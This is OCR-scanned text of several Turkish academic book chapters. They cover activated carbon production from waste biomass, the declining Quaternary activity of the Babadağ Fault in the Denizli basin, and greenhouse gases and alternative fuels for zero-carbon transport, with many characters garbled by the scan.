saglamaktir. Ciinkli mikrodalga 1s1s1 kimyasal ajanlarin
viskozitesini azaltir, bu da aktiflestiriciye hammaddeye
daha iyi temas ederek niifuz etme kabiliyetini kazandirir.
Ayn1 zamanda mikrodalga firin giici 500W’dan fazla
olmasi halinde makro gozenekler olusmaktadir (Foo
K. Y. 2012). Aktiflesticilerin viskozitesinin ¢ok azaldigi
durumlarda ortam sicakligi, temas siiresi ve firin giicii gibi
parametrelerin uygunlugu saglanamazsa impregnasyon
stiresince aktif karbonun gdzenek yapisinin bozulabilecegi
ya da mikro gézeneklerinin mezo goézeneklere doniistliigli
diisiiniilmektedir (izgi M. S. 2019)

SONUC VE ONERILER

Aktif karbon {iiretimi kimya sektoriindeki Onemli
bir tiretim faaliyetidir. Glinlimiizde bir ¢ok sektor igin
kullanilabilir bir igerik olan aktif karbonun iiretimi bir
¢ok hammadde ile gergeklestirilmektedir. Bu calisma
sonucunda tamamen atik olan yerli ham maddelerden
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iretim yapilabilecek  aktif karbon firetim prosesleri
ele alinmistir. Ayn1 zamanda bu ¢aligmada bahsi gegen
yontemler ve aktif karbonu n performansimi etkileyen
faktorler tUretim yapilmasi i¢in kurulmasi planlanan
tesislerin On fizibilitesini de olusturmaktadir.

Bu calisma sonucunda herhangi bir ticari degeri
bulunmayan lignoselillozik maddeleri hammadde
olarak kullanarak disa bagimlilig1 azaltacak, ekonomiye
katki saglayacak daha az maliyetleri agiklamaktadir.
Diisiik maliyetle hazirlanan aktif karbonlarin 6zellikle
adsorpsiyon yetenekleri yontemler arasi farkliliklar ile
kryaslanmustir.

Ulkemizin ve diinyamizin cevre kaynaklarinin
korunmasi i¢in bu tip caligmalara agirlik verilmelidir.
Maliyet diisiirme c¢alismalarinin yaninda, ilk yatirim
maliyetlerinin yiiksek olmasina ragmen getirisi biiyiik
onem arz eden dustiin teknoloji agirlikli geri doniisiim
prosesleri gelistirilmelidir. Ozellikle ileri teknoloji
agirlikli calismalarin tilkemizde gelistirilip patentlenmesi,
smai miilkiyet haklarmin korunmasi ve patent yoniinden
yoksun olan iilkemizin gelisen diinya vizyonu i¢inde yerini
almasi acisindan biiylik 6nem arz etmektedir. Tiirkiye’de
bulunan yerli hammadde kaynaklart ile yapilacak tiretim,
ilkemizin cari agiginin kapatilmasina ve teknolojik iiretim
yapma kapasitesine katki saglayacaktir.
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BABADAG FAYI'NIN KUVATERNER AKTIVITESI
(DENIZLi HAVZASI, GB ANADOLU)

Savas TOPAL!

1. Giris

Faylar, {izerinde olan depremler ve bu depremlerin
zamanlamasi dikkate alindiginda, aktif, aktif olmaya
yatkin, potansiyel aktif ve aktif olmayan faylar olarak
dort farkli kategoride degerlendirilir. Holosen doneminde
(10.000 y1l) en az bir kez deprem iiretmis olan faylar aktif
faylar olarak tanimlanmaktadir. 50.000 y1l i¢inde en az bir
deprem iiretmis faylar aktif olmaya yatkin faylar, 1.65 my
zaman igerisinde en az bir kez deprem {iretmis olan fay ise
potansiyel aktif faylar olarak siniflandirilir. 1.65 milyon
yillik siiregte deprem iiretmemis olan faylar aktif olmayan
faylar olup Kuvaterner yasl sedimanlar tarafindan ortiilen
faylar diri olmayan faylar olarak kabul edilir.

Faylarin aktivitesi  jeolojik,  jeomorfolojik,
paleosismolojik ve aletsel verilerden yararlanilarak
belirlenir. Jeolojik veriler jeolojik haritalar ve arazi

1 Pamukkale Universitesi, Jeoloji Miihendisligi Boliimii, Genel Jeoloji ABD. savasto-
pal@pau.edu.tr, ORCID: orcid.org/0000-0001-7451-6606
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gozlemleriyle, jeomorfolojik veriler Sayisal Yiikseklik
Modeli’nden (DEM), paleosismolojik veriler faylar
iizerinde acilan hendeklerden elde edilirken aletsel
veriler de eski deprem kayitlarindan elde edilir. Bu
veriler beraber degerlendirildiklerinde bir faymn ge¢mis
deprem aktivitesi, tekrarlanma siklig1 ve gelecek deprem
potansiyeli hakkinda yorumlar yapilabilmektedir.
Jeomorfik indisler kullanilarak Ege bolgesinde bir¢ok
fay {izerinde benzer c¢aligmalar gergeklestirilmistir
(Topal, 2018; Topal ve Ozkul, 2018; Topal, 2019)Bu
calismada da arazi gozlemleri, eski deprem verileri ve
jeomorfik indisler kullanilarak Babadag Fayi’nin deprem
aktivitesi ve gelecekte olusturabilecegi deprem tehlikesi
belirlenmeye ¢aligilmistir.

2. Calisma Alani

Denizli grabenini giineyden sinirlayan Babadag Fay1
yaklagik olarak 35 km uzunluga sahiptir. Morfolojik
olarak birden fazla segmentten olugsan Babadag Fayi’nin
ortalama egimi 30-40° arasindadir. Bu calismada faymn
bat1 kesimini olusturan ve 15 km uzunluga sahip segment
izerinde degerlendirmeler yapilmistir (Sekil 1).

Sekil 1. Calisma Alanmin Yeri Ve Denizli Grabenindeki Konumu.
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3. Jeolojik ozellikler

Babadag Fay1 ve cevresinin jeolojisi, faymn taban ve
tavan bloguna gore verilmistir. Taban blokta genellikle
yaslt kayaclar bulunurken, tavan blokta ise geng¢ kayaglar
yer almaktadir (Sekil 2).

3.1 Taban blok

Menderes masifinin Paleozoyik yasli metamorfitler,
Mesozoyik yash kirectaglari ve bu masifin iizerine
tektonik dokanakla gelen yine Mesozoyik yash Likya
naplarina ait sedimanter kayaglar Babadag Fay1’nin taban
blogunda yer alir (Okay, 1989; Sun, 1990). Calisma
alaninda temel birimler alttan tiste dogru Paleozoyik yash
Ortakdy, Mesozoyik yash Yilanli ve Zeybekolen tepe
formasyonlari ile Likya naplarina ait Honaz seyli, Sandak
birimi, Honaz ofiyolitik melanj1 ve Gobecik tepe birimi
seklindedir (Okay, 1989).

3.2 Tavan blok

Sazak ve Kolankaya formasyonlari Babadag Fayi’nin
tavan blogunda yer alir. Babadag Fay1 Sazak formasyonu
(Ge¢ Miyosen yagl) {iizerine uyumlu olarak gelen
Kolankaya formasyonu (Ge¢ Miyosen-Geg Pliyosen
yash) ile yaslt kaya birimlerinin sinirin1 olusturur (Sekil
2). Tosunlar formasyonuna ait Kelleci cakiltaslari
(Kuvaterner yasli), yama¢ molozlari, aliivyal yelpazeler
ve aliivyonlar kendilerinden daha yasli olan kayalari
acisal uyumsuzlukla orterler.
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Sekil 2. Denizli Grabeni Ve Glineyinin Jeoloji Haritas1 (Topal, 2012).

4. Calisma alaninin depremselligi

Denizli grabeninde aletsel donemde (1900 ve sonrasi)
3 ve 3’ten biiyiik bir¢ok deprem meydana gelmistir (Sekil
3). Depremlerin dagilimlar incelendiginde genelde havza
ortasina denk gelen bu depremlerin ¢ok azi Babadag
Fay1 ile iliskilidir. Depremlerin grabenin kuzeyinde
yogunlagmasi da kuzeydeki faylarin aktivitesin daha fazla
oldugunu gostermektedir. Sekil 3’te gosterilen faylar
Tiirkiye Diri Fay haritasindan alimmistir. Bu haritada
Babadag Fayi’min Holosen’deki aktivitesinin (11.000-
12.000 y1l) kuskulu oldugu vurgulanmustir.



MUHENDISLIK ALANINDA ULUSLARARASI ARASTIRMALAR || ‘ 33

P a A~-Kent Orma
Kuvaterner Fayi: Pleyistosen’de (1.600.000 yil)  « .
yiizey faylanmasi olusturan, Holosen etkinligi kuskulu fay

Sekil 3. Denizli Grabeninde 1900-2022 Y1illart Arasinda Meydana
Gelen 3’ten Biiylik Depremlerin Dagilimi (https://deprem.afad.gov.tr/
event-catalog).

5. Jeomorfik indisler

Bu c¢alismada, faylar tarafindan kontrol edilen
dag oOnlerinin degerlendirmesinde kullanilan dag onii
siniisliiliik indisi (Smf) ve faylar tarafindan denetlenen
drenaj alanlarinin olusum evrelerini belirlemeye yarayan
hipsometrik egri (HC) indisleri kullanilmistir.

5.1 Dag Onii Siniisliiliik indisi (Smf)

Bu indis, faylar tarafindan denetlenen dag onlerinin
diizligini belirlemek amaci ile kullanilmigtir (Bull ve
McFadden, 1977). Smf indis degeri 1’e yaklasti§inda
faylar tarafindan kontrol edilen dag onlerinin ¢izgisel bir
goriiniime, 1’den uzaklastikca erozyonal olaylarin etkin
olmasi sonucunda dag onlerinin sinlizoidal bir geometriye
sahip olur. Bu indis Bull ve McFadden (1977) tarafindan
Onerilen;

Smf=Lmf/Ls
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formiilii ile hesaplanir. Formiilde,

Lmf; dag etegi boyunca dag oniiniin uzunlugu,

Ls; dag oniinde olusan diizliiglin ¢izgi uzunlugudur.
5.2 Hipsometrik Egri (HC)

HC, farkli 6l¢ekteki drenaj alanlarinin (tek bir vadiden
kita dlcegine kadar) yiikseklik/alan dagilimini ifade eden
bir grafiktir. HC analizi farkli diizeylerdeki tektonik
alanlarm aktif/pasif olusunu ayirmakta kullanilan 6nemli
bir indistir. Strahler (1952), HC’nin sekillerini kullanarak,
drenaj alanlariin olusum evrelerini, geng, orta ve olgun
evre olarak farkl kategorilere ayirmistir. Drenaj alaninin
geng evresiyle iliskili olan egriler konkav sekle sahip
olur ve bolgenin az agindirildigini veya bozulmadigimi
gosterir. Drenaj alaninin orta-olgun evrede oldugunu ve
orta derecede bir aginmaya ugradigmi gosteren egriler
“S” sekilli egrilerdir. Olgun evredeki drenaj alanlar ise
konveks sekle sahip olup, bu alanlarin oldukga aginmis ve
bozulmus oldugunu gosterir.

¥
Smf-1:325
Smf2:3,75

Sekil 4. Babadag Fay1 Uzerinde Hesaplanan Smf Indisi Yerleri ve
HC Egrileri.
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5. Arazi gozlemleri

Babadag Fayi’nin bat1 kesiminde bulunan ve yaklasik
15 km uzunluga sahip segment tizerinde arazi gozlemleri
gercgeklestirilmistir. Elde edilen veriler Babadag Fay1i’nin
Kuvaterner yasl gen¢ kayaclarla Mesozoyik doneminde
olusan yash kayaclar arasinda olusturdugu sinir net
bir sekilde gozlenmistir (Sekil 5). Fay boyunca yapilan
gozlemlerde, gen¢ kayaclarin fayin {zerini Orttiigi,
geng kayaclarda faydan kaynaklanan bir deformasyonun
olmadigi agikg¢a goriilmektedir.

[ gl i 2 20 m

Sekil 5. Babadag Fay1 Boyunca Yapilan Arazi Gézlemlerinden Elde
Edilen Veriler.

6. Tartismalar

Babadag Fayi’nin bati kesiminde yer alan segment
tizerinde meydana gelen depremler, jeomorfik indisler ve
arazi gozlemleri kullanilarak, bu bélgedeki fayin giincel
tektonik aktivitesi hakkinda ¢ikarimlar yapilmistir. Denizli
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grabeni’nde aletsel donemde meydana gelen depremlere
bakildiginda, Babadag Fayi ile iliskili depremlerin yok
denecek kadar az oldugu gozlenmistir. Ayrica Tiirkiye
Diri Fay Haritasi’'nda Babadag Fayi’'min Holosen
donemindeki (11.000-12.000 y1l) aktivitesinin kuskulu
oldugu belirtilmistir. Ayn1 segment tizerinde 2 alanda Smf
degerleri hesaplanmistir. Hesaplanan Smf degerleri (Smf-
1:3.75, Smf-2: 3.25) 1’den ¢ok uzak ¢ikmistir. Bu sonug,
faymn denetledigi dag onlerinin diizliigiini kaybetmeye
basladigim gostermektedir. Faymn oOniindeki diizliigiin
kaybolmasi, fayin aktivitesinin azaldigi veya sona
erdigini ve erozyonal siireclerin bolgede daha fazla etkin
oldugunu gostermektedir. Babadag Fay1’nin denetledigi 9
adet drenaj alaninda HC egrileri belirlenmistir. Elde edilen
egriler genellikle konveks sekle sahiptir. HC egrilerinin
konveks olarak belirlendigi alanlarda, yiikselmenin
azaldigi veya durdugu, erozyonal siireglerin bolgede
hakim oldugu ve asinmanin devam ettigini gostermektedir.
Elde edilen bu veri, Babadag Fayi’'min bu bolgedeki
drenaj alanlarini artik denetlemedigini ve asinmanin daha
baskin oldugunu gostermektedir. Bolgede gerceklestirilen
arazi gozlemlerinde, fay boyunca belirli alanlardan elde
edilen verilerde, Babadag Fayi’nin Kuvaterner yasl geng
kayaglarla Mesozoyik yasli eski kayaglar arasindaki
sinir1 olusturdugu net bir sekilde gozlemlenmistir. Ayrica,
fay boyunca elde edilen veriler, gen¢ kayaclarin fayimn
izerini Orttiigli ve faydan kaynaklanan deformasyonlara
maruz kalmadigini gostermektedir. Bu da ¢okelmenin
faymn hareketinden hizli oldugunun kaniti olarak ortaya
konulmustur.

Elde edilen veriler beraber olarak degerlendirildiginde
Babadag Fayi’nin bati kesimlerinde bulunan ve 15 km
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uzunluga sahip segmentin deprem aktivitesinin azaldigi
ya da durdugunu gostermektedir.

7. Sonuclar

Bu ¢aligmada, Denizli grabeninin giineyini sinirlayan
Babadag Fayi’'nin bati kesiminde bulunan ve 15
km uzunluga sahip segment iizerindeki depremler,
jeomorfik indisler ve arazi verileri kullanilarak giincel
tektonik aktivitesi hakkinda yorumlar yapilmistir. Eski
depremlere bakildiginda, fayin iizerinde depremlerin
cok az miktarda olugu belirlenmistir. Jeomorfik indis
hesaplamalarindan elde edilen veriler, Smf degerlerinin
1 degerinden uzaklasmasi dag oOnlerinin diizlesmeye
basladigini, HC egrilerinin de konveks sekle sahip
olmasi, drenaj alanlarinin olgun evrede oldugunu ve
bolgede faym etkinliginden ¢ok erozyonal siireclerin
baskin oldugu belirlenmistir. Calisma alaninda yapilan
arazi gozlemlerinde, Babadag Fayi’nmin gen¢ c¢okeller
tarafindan ortildigi ve ¢okelmenin faylanma hizindan
daha fazla oldugu ortaya konulmustur. Elde edilen veriler
beraber degerlendirildiginde Babadag Fayi’nin bati
kesimlerinde fayin aktivitesinin azaldigi veya durdugu
belirlenmis olup, Denizli grabenini olusturan diger faylara
gore, gelecekte bu fay iizerinde yikict depremlerin olma
olasiliginin diisiik oldugu sonucuna varilmaistir.
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SIFIR KARBON UYGULAMASI KAPSAMINDA
ALTERNATIF YAKITLAR

Pinar BOZBEYOGLU', Burhan BUDAK?

GiRIS

Niifusun artigiyla tiilketimin artmasi, hammadde
ihtiyacinin kargilanamamasi gibi temel nedenler ve hizli
sanayilesme c¢evre kirliligini de beraberinde getiren
biiyiik bir sorun haline gelmistir. Teknolojik gelismeler
gibi aslinda fayda sagladig: diisiiniilen sektor gelismeleri
cevre dostu yakit iiretimi i¢in gereken biiyiik doniigiimler,
fosil yakitlara uygulanabilir alternatifler olarak sentetik
yakitlarin {iretimini radikal bir sekilde artirmayi
gerektiriyor. Karbondioksit emisyonlari, kiiresel iklim
degisikliginin birincil itici giiciidiir. Iklim degisikliginin
en kotii etkilerinden kagimmmak i¢in diinyanin acilen
emisyonlart azaltmasi gerektigi yaygm olarak kabul
edilmektedir (URL-5). Ancak bu sorumlulugun bélgeler,
iilkeler ve bireyler arasinda nasil paylasildig1 uluslararasi

1 Dr Ogr. Uyesi., Giimiishane Universitesi Giimiishane Meslek Yiiksekokulu, ORCID
ID: 0000-0002-3704-2701 .

2 Ogr. Gor., Hatay Mustafa Kemal Universitesi Saglik Hizmetleri Meslek Yiiksekoku-
lu, ORCID ID: 0000-0002-3715-5861
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tartismalarda sonu gelmez bir tartisma konusu olmustur.
Diinya’da en ¢ok kullanilan ulasim ve tasimacilik olan
kara ve denizyolu tagimacili§i olup alinan tedbirler
ile yeni yakit tiirlerinden bahsedilmeye baglanmistir.
Bu sayede iiretilen bu g¢evre dostu yakitlar ile hem
tretimdeki enerji ihtiyaci azaltilmis olacak hem de CO,
emisyonu tasarrufu saglanarak daha siirdiiriilebilir yap1
riinleri tasarlanmasina katki saglanacaktir. Diinyanin
nakliye yakitlarinin sadece yiizde birini yenilenebilir
elektrikten kazanilan e-Metan ile degistirmek, 5.7 milyon
benzinli arabay1 yoldan c¢ikarmak kadar karbondioksit
(CO,) emisyonu tasarrufu saglayacaktir. Bu gelisme ile
beraber bu tasimaciligin yarattig1 sera gazi etkileri ve son
donemde bu gazlarin azaltilmasiyla hangi yakit tliriiniin
bu etkileri azalttig1 ve daha verimli olacagi konusunda
pek cok cgalisma yapilmaktadir. Ekonomik ve toplumsal
geligmelerin yarattig1 ihtiyaglar karsilayabilecek sekilde
ulasim kapasitesini yaratan, iilke ve toplum ¢ikarlaria
uygun ulasim sistemlerini kurmak, koordine etmek,
insanlar1 ve ya esyay1 en kisa siirede daha ucuz ve emniyetli
bir sekilde tasimak ulagimin amacidir. Bugiin diinyamizda
lastik tekerlekli ulasim ve tagimacilik sektorii neredeyse
%95 oraninda fosil yakitl araglar1 kullanmaktadir. EPA
verilerine gore 2010 kiiresel sera gazi emisyonlarinin
%14’ bu sektorden kaynaklanan sera gazi emisyonlar
oncelikle karayolu, demiryolu, hava ve deniz tagimaciligi
icin yakilan fosil yakitlart icermektedir. Diinyadaki ulasim
enerjisinin neredeyse tamami %95 oraninda petrol bazli
yakitlardir. Bu yakitlar ise biiyiik 6l¢iide benzin ve dizel
olarak adlandirilmaktadir (Parlak, A. 2021).
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1. Yenilenebilir Enerji

Yenilenebilir enerji kaynagi “Doganin kendi evrimi
icindebirsonrakigiinaynenmevcutolabilenenerjikaynagi”
olarak tanmimlanan, karbon nétr yakitlarin iretilmesinde
kilit bir kaynaktir. Yenilenebilir enerji kaynaklarinin
en biliyik oOzellikleri, karbondioksit emisyonlarim
azaltarak c¢evrenin korunmasina yardimci olmalari,
yerli kaynaklar olduklart i¢in enerjide disa bagimliligin
azalmasina ve istihdamin artmasina katkida bulunmalari
ve kamuoyundan yaygin ve gi¢lii destek almalaridir.
Bir baska deyisle, yenilenebilir enerji kaynaklari,
ulasilabilirlik (Accessibility), mevcudiyet (Availability),
kabul edilebilirlik (Acceptability) 6zelliklerinin hepsini
tagimaktadirlar. Yenilenebilir enerji kaynaklari, hidro,
jeotermal, giines, riizgar, odun, bitki artiklari, biyokiitle,
gel-git ve dalga olarak kabul edilmektedir. Fakat
giinimiiz sartlarinda talebi karsilamak icin ihtiyag
duydugumuz enerji miktari, bir avug riizgar tiirbiniyle
elde edilemeyecek kadar biiyiiktiir. Yenilenebilir enerji
kapasitesinin artirilmasi i¢in kendi riizgar ve fotovoltaik
teknolojisini kullanilarak yasam dongiislinlin baslarinda
kurulan sistemle sorunlar ¢oziilmiistiir. Glinlimiiz sistemi
e-Metanol iiretmek i¢in karbondioksit ile birlestirildigi
bir sentez siirecine beslenen hidrojeni liretmek i¢in enerji
elektrolizor teknolojisini kullanmaktadir (Chen, L., 2018).
Power-to-X teknolojisi de denilen yontem ile karbon
icermeyen yesil hidrojene doniistiiriilebilir ve daha sonra
uzun siireler boyunca depolanabilir. Gigawatt olgekli
elektrolizor tesisleri suyu oksijene ve yesil hidrojene
ayiran elektroliz adi verilen bir siirecte yenilenebilir
enerji kullanilir. Su anda diinya ¢apinda 2040 yilina kadar
yalnizca 213,5 gigawatt elektroliz kapasitesi planlaniyor,
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ancak bu yeterli degildir. Daha fazla yenilenebilir enerjiyi
sifir emisyonlu yakitlara doniistiirmek icin yakita daha
fazla talep olmasi gerekiyor(URL-2). Ozellikle deniz
ulasiminda, uzun vadeli s6zlesmeler i¢in mallart karbon
nétr bir sekilde tasimayi taahhiit eden sirketler ve gemi
operatdrlerinin daha fazla sentetik yakit tedarik etmesi
veya gemileri bunlarla calisacak sekilde giliglendirmesi
icin ivme yaratiyor ve bu da yenilenebilir enerji tiretimi
icin daha fazla talebe yol acarken Ozellikle gemicilikte
sifir emisyonlu yakitlara gegisin kilidi de agilacaktir
(URL-1).

2. Sera Gazlan

Sera etkisi normal sartlarda gezegenimizin 59
°F (Fahrenhayt) yani 15 °C ‘a kadar 1sinmasi ve
Diinya’mizin yasanabilir olmasini saglar. Sera etkisi
olmasa tipki Mars gibi Diinya donmus ve yasanamaz bir
yer olurdu. Bu etkinin anormal hale doniismesi Diinya’da
fosil yakitlarin ¢ok fazla yakilmasi ile yapay yolla sera
etkisi olusturulmasi ile meydana geliyor. Bilim adamlari
tarafindan ilk olarak 1896’da tamimlanan sera etkisi,
giinesten gelen 1s1y1 atmosferdeki gazlarin tutmasi ile
sonu¢lanan dogal 1sinma olayr olarak tanimlanmistir.
Glines 15181 gezegenimizi sicaklik yoniinden yasanabilir
kilar. Glines enerjisinin % 30’u uzaya geri yansir. Fakat %
70’1 atmosferden gectikten sonra yeryliziine sonra karaya
son olarak ta okyanus ve atmosfer tarafindan emilip
gezegenimizi 1sitir. Bu 1s1 daha sonra goriinmez kizilGtesi
151k seklinde yayilir. Bu kizilotesi 1s181n bir kismi uzaya
yayillmaya devam eder. Fakat yaklagik yiizde 901,
atmosferik gaz olan sera gazlari tarafindan emilir. Bunlar
Diinya’ya geri yoOnlendirilerek gezegende daha birden
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1s1nin yiikselmesine sebep olur. Son 1 milyon yillik siirecin
¢ogunda, yani insan uygarligiin var oldugundan ¢ok daha
uzun bir siire boyunca atmosferimizdeki sera gazlarinin
konsantrasyonu milyonda 200 ila 280 parca. Ancak
gectigimiz yiizyilda, bu konsantrasyon, fosil yakitlari
yakmak gibi insan faaliyetleri sonucunda milyonda 400
parcanin iizerine ¢ikmistir. Ormanlarin tahrip edilmesi
ile sera gazlarinin ve oOzellikle karbondioksitin daha
yliksek konsantrasyonlari, fazladan isinin tutulmasina
ve kiiresel sicakliklarin yiikselmesine neden olmaktadir
(Sokotowski, 2022).

HOW GREENHOUSE GASES WARM OUR PLANET

Fluorinated
ases
Nitrous & 2%
oxide

1000+

800

600 Mothane
18%

GwP

400

‘Source: EPA

Carbon Methane Nitrous  Fluorinated Source: IPCC (2014)
dioxide oxide gases

The global warming potential (GWP) of human-generated How much each human-caused
greenhouse gases is a measure of how much heat each greenhouse gas contributes to total
gas traps in the atmosphere, relative to carbon dioxide. emissions around the globe.

Sekil 1. Sera Gazlarinin Gezegenimizi Isitma Etkisi
(Sokotowski, 2022).

Sera etkisine sebep olan gazlar atmosferde 1s1y1 absorbe
eder ve Diinya’nin sicakligimin yiikselmesine sebep olur.
Sera etkisini olusturan temel gazlar, karbondioksit, metan,
nitrojen oksit, su buhari ve florlu gazlardir. Her bir sera
gazi digerinden farkli yapiya sahip olup, farkli siirelerde
ve farkli durumlar ile atmosferden atilir. Bitkiler toprak
ve okyanus gibi sozde karbon emiciler ile CO,’i emer.
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Florlu gazlar ise yalnizca atmosferde ¢ok uzakta iken
giines 15121 tarafindan yok edilir. Herhangi bir sera gazinin
kiiresel 1sinmay1 etkiledigi faktorler ise; atmosferde ne
kadar var oldugu, atmosferde ne kadar kaldig1 ve 1s1y1
absorplamada ne kadar etkili oldugudur. Buna kiiresel
1sinma potansiyeli veya GWP (Global Warming Potential)
denir. Bu ayn1 zamanda bir gazin 1 ton CO, emisyonuna
gore belirli bir siire boyunca emdigi toplam enerjinin bir
Olciistidiir (Akin G.,20006).

Sanayi Devrimi ile baslayan ve komiirli yakith
buhar motorlu tahrik sistemlerinin ortaya c¢ikmasi ile
insan kaynakli etkinliklerle yayilan sera gazlarinin
ciddi oranda artmasmna neden oldu. Son 250 yillik
siirecte, atmosferik karbondioksit yogunlugunun %
40’a yakin, metan yogunlugunun neredeyse ylizde 150
ve nitrojen oksit yogunlugunun %20 seviyelerinde
yiikseldigi diistiniilmektedir. Bu 250 yillik siirecte, en
yuksek miktarda yayilan sera gazi olan karbondioksit
emisyonlariin neredeyse yarisi son yarim asirlik siirede
olusmustur. Fosil yakitlarin yakilmas1 ve sanayi kaynakli
gelismeler bunu tetikleyen baslica faktdrlerdir.

Kiiresel Isinmaya Sebep Olan Sera Gazlarn

Karbon Dioksit

Karbon Dioksit, insan kaynakli emisyonlarin yaklasik
% 76’sm1 olusturur. Atmosfere yayildiktan 100 yil
sonrasinda bile % 40’1 10.000 yil sonrasinda ise hala
%10’u atmosferde kalacaktir. (Ritchie, H.,2020).

Metan

Metan (CH,) Karbondioksit’e kiyasla 10 yil daha az
atmosferde kalsa da sera etkisi olarak ¢ok daha yiiksektir.
Kiiresel 1stnma olarak etkisi ilk yiiz y1lda karbondioksitten
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neredeyse 25 kat yiiksektir. Metan, insan kaynakli sera
gazi emisyonlarinin % 16’sin1 olugturmaktadir (Ritchie,
H.,2020).

Azot Oksit

Azot oksit (N,O) metan ve karbondioksite gore
¢ok daha etkili bir sera gazidir. 1 asirlik bir periyotta
karbondioksitten 300 kat daha fazla GWP’ye ehildir.
100 yildan daha fazla siire atmosferde tutunur. insan
sebepli sera gazi emisyonlarmin % 6’s1 NO,’dir (Ritchie,
H.,2020).

Florlu Gazlar

Farkli iretim ve sanayi kaynakli operasyonlardan
ortaya cikan florlu gazlar insan yapimi gazlardir. Dort
ana kategori vardir: Hidroflorokarbonlar (HFC’ler),
perflorokarbonlar (PFC’ler), kiikiirt heksafloriir (SF,) ve
nitrojen triflortir (NF,). Bu gazlar diger sera gazlarindan
daha az oranda salmim olustursa da daha fazla 1s1
yakalarlar. Atmosferde kalma siireleri ¢ok ytiksektir. On
binlerce yillik siirelerde atmosferde kaldiklar1 durumlar
vardir (Ritchie, H.,2020).

Su Buhan

En cok bulunan sera gazi olan su buhari, atmosferik
konsantrasyonlarindaki degisikliklerin dogrudan insan
faaliyetleriyle degil, daha ¢ok saldigimiz diger sera
gazlarindan kaynaklanan 1sinmayla baglantili olmasi
bakimindan diger sera gazlarindan farklhidir. Daha
sicak hava daha fazla su tutar ve su buhari bir sera gazi
oldugundan, su ne kadar fazla olursa o kadar fazla oranda
1s1y1 emerek, daha da fazla 1s1l artisa neden olur ve pozitif
bir geri besleme dongiisiinii siirdiiriir (www.tarimorman.
gov.tr). Ancak, artan su buhari, giinesin enerjisini
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diinyadan uzaga yansitan bulut ortiisiinii de arttirdigindan,
bu geri besleme dongiisiiniin net etkisinin hala belirsiz
oldugunu disiiniilmektedir (Akin G.,2000).

Sera Gazina Etki Eden Faaliyetler

Hiikiimetler Arast Iklim Degisikligi Paneli’ne
(IPCC) gore, neredeyse tim insan kaynakli sera gazi
emisyonlarini yonlendiren faaliyetler, niifus fazlahigi,
ekonomik faaliyetler, sosyal yapi, enerji tiiketimi,
yer kullanma kaliplari, teknolojik gelismeler ve iklim
politikasidir (Ritchie, H.,2020).

Elektrik ve Isi Uretimi

Komiir, petrol trtinleri ve LNG gibi yakatlar, elektrik
ve 1s1 uretmek igin kullanilirken ayni zamanda insan
iretimi sera gazlarinin ylizde 25’ini olusturmaktadir.
Tiirkiye’de, 2017°deki Tiirkiye’deki emisyonlarinin
yaklasik % 27,5’ini komiir yakimi olusturmaktadir.

Tarim ve Arazi Kullanim Degisiklikleri

Ormansizlastirma gibi tarim faaliyetleri kiiresel sera
gaz1 emisyonlarmin yaklagik dortte birini meydana
getirmektedir. Tirkiye’deki tarimsal faaliyetler 2017
yilinda ortaya ¢ikan emisyonlarin neredeyse yiizde 10’unu
olusturmaktaydi (Akin G.,2006).

Sanayi

Sanayi sektorii global insan sebepli sera gazlarinin
ylizde 20’sini olusturmaktadir. Hammadde iiretimi, ingaat
agirlikli sanayi sektdrleri bu konuda 6ncii olmustur.

Toplu Tagsima

Benzin dizel gibi petrol bazli yakitlarin yakilmasi
kiiresel sera gazi emisyonlarin % 14’lnl olusturdugu
bilinmektedir. Araglardan yayilan CO,, birincil gazdur,
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ancak tek gaz bu degildir. Metan ve nitréz oksitte
salinmaktadir. Bunlarin disinda motorlu tasitlarin
klimalar1 da florlu gaz salimimina sebep olmaktadir.
Ulasim sistemleri kaynakli karbon emisyonlarmi biiyiik
oranda arabalar ve kamyonlar olusturmaktadir (Akin
G.,2000)

Binalar

Yapilar, global sera gazi emisyonlarinin neredeyse
% 10’luk dilimini olusturmaktadir. Amerika Birlesik
Devletleri'nde, bina kaynaklt  emisyonlar tiim
emisyonlarin yaklasik ylizde 10’unu kapsiyor. Daha ¢ok
karbondioksit ve metandan kaynakli meydana gelen bu
sera gazi emisyonlari, esas olarak 1sinma ve mutfakta
kullanilan dogal gazin yakilmasidan ortaya ¢ikmaktadir
(Akin G.,2006)

iklim

Insan yapimi sera gazi emisyonlariyla beslenen
kiiresel 1sinma, dinyanin iklim sistemlerini bir¢ok
yonden degistirmektedir. Bunlar; 1s1 dalgalari, kasirgalar,
kurakliklar ve seller gibi daha sik ve/veya yogun asir1 hava
olaylarma neden olur. Asir1 yagislar1 siddetlendirerek,
1slak bolgeleri daha nemli ve kuru bolgeleri daha kuru
hale getirir. Eriyen buzullar ve deniz buzu nedeniyle
yiikselen deniz seviyeleri ve okyanus sicakliklarindaki
artis (daha sicak su genisler ve bu da deniz seviyesinin
yukselmesine katkida bulunabilir). Ekosistemleri ve
dogal yasam alanlarin1 degistirmek, cografi araliklari,
mevsimsel faaliyetleri, go¢ modellerini ve kara, tatli su ve
deniz tiirlerinin bollugunu degistirmek bunlara Srnektir.
Bu degisiklikler sadece bitkiler ve vahsi yasam i¢in degil,
dogrudan insanlar igin tehdit olusturmaktadir. Daha
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yiiksek sicakliklar, dang hummasi ve Zika gibi hastaliklar
yayan boceklerin gelisebilecegi anlamina gelir ve 1si
dalgalar1 giderek daha fazla 1sinir ve insanlar i¢in daha
oliimciil hale gelebilir. Kuraklik ve seller nedeniyle gida
arzimiz azaldiginda insanlar ag kalabilir (URL-4).

3. Denizcilik Endiistrisinin Sera Gazlan

Uzerindeki Etkisi

Denizyolu tasgimacihiginda, karbondioksit (CO,),
emisyonlar1 2012-2018 yillar1 arasinda 962 milyon tondan
1.056 milyon tona yiikseldi 2012-2018 arasindaki artis
%9,3’tlir. Bununla beraber deniz tagimaciliginin toplam
kiiresel emisyonlardaki pay1 2012-2018 yillar1 arasinda
%2,76’dan %2,89’a yiikseldi.

Tablo.1. 2012-2018 Yillar1 Arast Gemilerden Kaynakl
Emisyonlar (URL-6)

Yil Kii- Top- | Top- Sefer | Kiiresel | Gemi | Kiiresel

resel lam lam | tabanh | % sefer | bazh | % gemi
Antro- | nak- | % kii- | Ulusla- | bazh | ulus- bazh
pojenik | liye resel | rarasi | Ulusla- | lara- | ulusla-
Co, CO, | nakli- | nakliye | rarasi | rasi rarasi
emis- ye Co, Deniz | CO, | nakliye
yonlari Tasima-
cihig
2012 | 34.793 | 962 2.76 701 2.01 848 2.44
2013 | 34.959 | 957 2.74 684 1.96 837 2.39
2014 | 35.225 | 964 2.74 681 1.93 846 2.37

2015 | 35.239 | 991 2.81 700 1.99 859 2.44
